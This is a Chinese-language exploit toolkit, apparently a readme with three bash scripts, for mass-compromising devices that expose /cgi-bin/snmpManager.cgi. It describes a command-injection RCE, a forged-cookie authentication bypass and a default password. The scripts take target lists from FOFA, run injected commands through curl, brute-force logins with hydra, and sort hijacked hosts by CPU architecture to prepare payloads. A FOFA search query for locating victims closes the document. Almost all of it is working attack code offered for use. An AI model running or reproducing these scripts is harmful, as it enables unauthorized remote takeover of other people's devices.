1.命令注入RCE
漏洞地址 cgimodule=net_diagnose&diagnose_type=0&domain=%7C+COMMAND”
2.认证绕过 cookie伪造
name=admin domain=$random language=0 sessionid=0 path=
3.默认密码
ieee802.11 admin 123456
check.sh
对fofa获取的ip进行针对性成活检测
用法 ./check.sh checkfile 文件中每行一个ip，格式为http://ip
v1.sh
对文本中的目标进行rce检测，并生成rce-ok rce-no 和notfound三个文件
用法 ./v1.sh 状态200文件,文件中每行一个ip，格式为http://ip
对v1.sh处理后，从rce-ok提取的ip进行分类，分为mips，i686,x86_64 ，并为执行特定payload做准备
用法 ./exp.sh filename-rce-ok 每行一个ip，格式为http://ip/{,username,password},需要密码获取cookies的则需要密码，否则不需要
check.sh
#!/bin/bash
mkdir tmp
echo "e.g: ./check.sh checkfile "
FileName="$1"
for i in `cat $filename`
do
url=$i/cgi-bin/snmpManager.cgi?cgimodule=login
code=$(curl -s -o tmp/checkkk.txt -w %{http_code} --connect-timeout 1 -m 1 $url)
if ((code == 200)) || ((cat tmp/checkkk.txt | grep /black.jpg)) >/dev/null 2>&1 ; then
echo $i >> $filename-200
echo -e "\033[31m $i Success! \033[0m"
else
echo $i "Failed!"
fi
done
|
v1.sh
#!/bin/bash
rm tmp/*
rm -f hydra.restore
echo "e.g: ./v1.sh filename "
FileName="$1"
PassFile="v1pass.txt"
COMMAND=" uname -a"
random=$(cat /dev/urandom | sed "s/[^a-zA-Z0-9]//g" | strings -n 5 | head -n 1)
echo $random
for i in `cat $FileName`
do
echo -------------------
whatweb $i
url=$i/cgi-bin/snmpManager.cgi
url_login=${url}?cgimodule=login
url_rce=${url}?cgimodule=net_diagnose
cookies_bypass="name=admin domain=$random language=0 sessionid=0 path="
post_cmd="cgimodule=net_diagnose&diagnose_type=0&domain=%7C"
post_getdata="cgimodule=ajax_diagnose"
code_200=`curl -s -o tmp/check.txt -w %{http_code} --connect-timeout 2 -m 5 $url_login`
if ((code_200 == 200)); then
if grep /black.jpg tmp/check.txt >/dev/null 2>&1 ; then
echo 指纹匹配 ok
curl -s -o /dev/null --cookie "$cookies_bypass" -d $post_cmd+id $url_rce
curl -s -o tmp/exp_log.txt --cookie "$cookies_bypass" -d $post_getdata $url
if grep uid tmp/exp_log.txt >/dev/null 2>&1 ; then
echo 执行命令 $COMMAND
curl -s -o /dev/null --cookie "$cookies_bypass" -d "$post_cmd+$COMMAND" $url_rce
curl -s --cookie "$cookies_bypass" -d $post_getdata $url
echo $i >> $FileName-Rce-OK
echo " \n "
else
echo crack 密码
echo > tmp/secces.txt
Username=admin
rhost=`echo $i | sed 's/http\:\/\///g' | cut -d ":" -f1`
rport=`echo $i | awk -F ':' '{print $3}'`
hydra -l $Username -P $PassFile $rhost -s $rport http-post-form "/cgi-bin/snmpManager.cgi:cgimodule=login&username=^USER^&passwd=^PASS^&language=2:black.jpg" -t 1 -f | grep http-post-form | grep password > tmp/secces.txt
Password=`cut -d " " -f 11 tmp/secces.txt | sed 's/^[ ]*//'| sed '/^$/d'`
post_auth="cgimodule=login&username=$Username&passwd=$Password&language=2"
if [[ -n $Password ]];then
echo 密码破解成功
echo "password:" $Password
curl -s -o /dev/null -m 5 -c tmp/gbcookies.txt -d $post_auth $url_login
curl -s -o /dev/null -m 5 -b tmp/gbcookies.txt -d $post_cmd+id $url_rce
curl -s -o tmp/exp_log2.txt -m 5 -b tmp/gbcookies.txt -d $post_getdata $url
if grep uid tmp/exp_log2.txt >/dev/null 2>&1 ; then
echo 执行命令 $COMMAND
curl -s -o /dev/null -m 5 -b tmp/gbcookies.txt -d "$post_cmd+$COMMAND" $url_rce
curl -m 5 -b tmp/gbcookies.txt -d $post_getdata $url
echo -e "\033[33m User:$Username Pass:$Password \033[0m"
echo $i $Username $Password >> $FileName-Rce-OK
else
echo -e "\033[33m User:$Username Pass:$Password But Can't RCE !!\033[0m "
echo $i $Username $Password >> $FileName-Rce-NO
fi
else
echo -e "\033[33m Password Not Found !!\033[0m "
echo $i >> $FileName-Password-NotFound
fi
fi
else
echo "$i failed"
fi
fi
done
|
exp.sh
#!/bin/bash
echo "e.g: ./exp.sh filename-rce-ok "
FileName="$1"
rm -f hydra.restore
PassFile="v1pass.txt"
random=$(cat /dev/urandom | sed "s/[^a-zA-Z0-9]//g" | strings -n 5 | head -n 1)
COMMAND=" uname -a"
post_cmd="cgimodule=net_diagnose&diagnose_type=0&domain=%7C"
post_getdata="cgimodule=ajax_diagnose"
for i in `cat $FileName`
do
rhost=`echo $i | awk '{print $1}'`
Username=`echo $i | awk '{print $2}'`
Password=`echo $i | awk '{print $3}'`
echo -------------------
whatweb $rhost
url=$rhost/cgi-bin/snmpManager.cgi
url_login=${url}?cgimodule=login
url_rce=${url}?cgimodule=net_diagnose
cookies_bypass="name=admin domain=$random language=0 sessionid=0 path="
curl -s -o /dev/null --cookie "$cookies_bypass" -d $post_cmd+id $url_rce
curl -s -o tmp/exp_log.txt --cookie "$cookies_bypass" -d $post_getdata $url
if grep uid tmp/exp_log.txt >/dev/null 2>&1 ; then
echo 执行命令 $COMMAND
curl -s -o /dev/null --cookie "$cookies_bypass" -d "$post_cmd+$COMMAND" $url_rce
curl -s -o tmp/rce-data --cookie "$cookies_bypass" -d $post_getdata $url
if grep mips tmp/rce-data >/dev/null 2>&1; then
echo $rhost >> $FileName-rce-mips
cat tmp/rce-data
echo "\n"
elif grep i686 tmp/rce-data >/dev/null 2>&1; then
echo $rhost >> $FileName-rce-i686
cat tmp/rce-data
echo "\n"
else
cat tmp/rce-data
echo "\n"
echo $rhost >> $FileName-rce-x86_64
fi
else
post_auth="cgimodule=login&username=$Username&passwd=$Password&language=2"
echo 执行命令 $COMMAND
curl -s -o /dev/null -m 5 -c tmp/gbcookies.txt -d $post_auth $url_login
curl -s -o /dev/null -m 5 -b tmp/gbcookies.txt -d "$post_cmd+$COMMAND" $url_rce
curl -s -o tmp/rce-data -m 5 -b tmp/gbcookies.txt -d $post_getdata $url
echo -e "\033[33m User:$Username Pass:$Password \033[0m"
if grep mips tmp/rce-data >/dev/null 2>&1; then
echo $rhost >> $FileName-rce-mips
cat tmp/rce-data
echo "\n"
elif grep i686 tmp/rce-data >/dev/null 2>&1; then
echo $rhost >> $FileName-rce-i686
cat tmp/rce-data
echo "\n"
else
cat tmp/rce-data
echo "\n"
echo $rhost >> $FileName-rce-x86_64
fi
fi
done
|
FoFa 搜索语句
"/cgi-bin/snmpManager.cgi"
|
微信
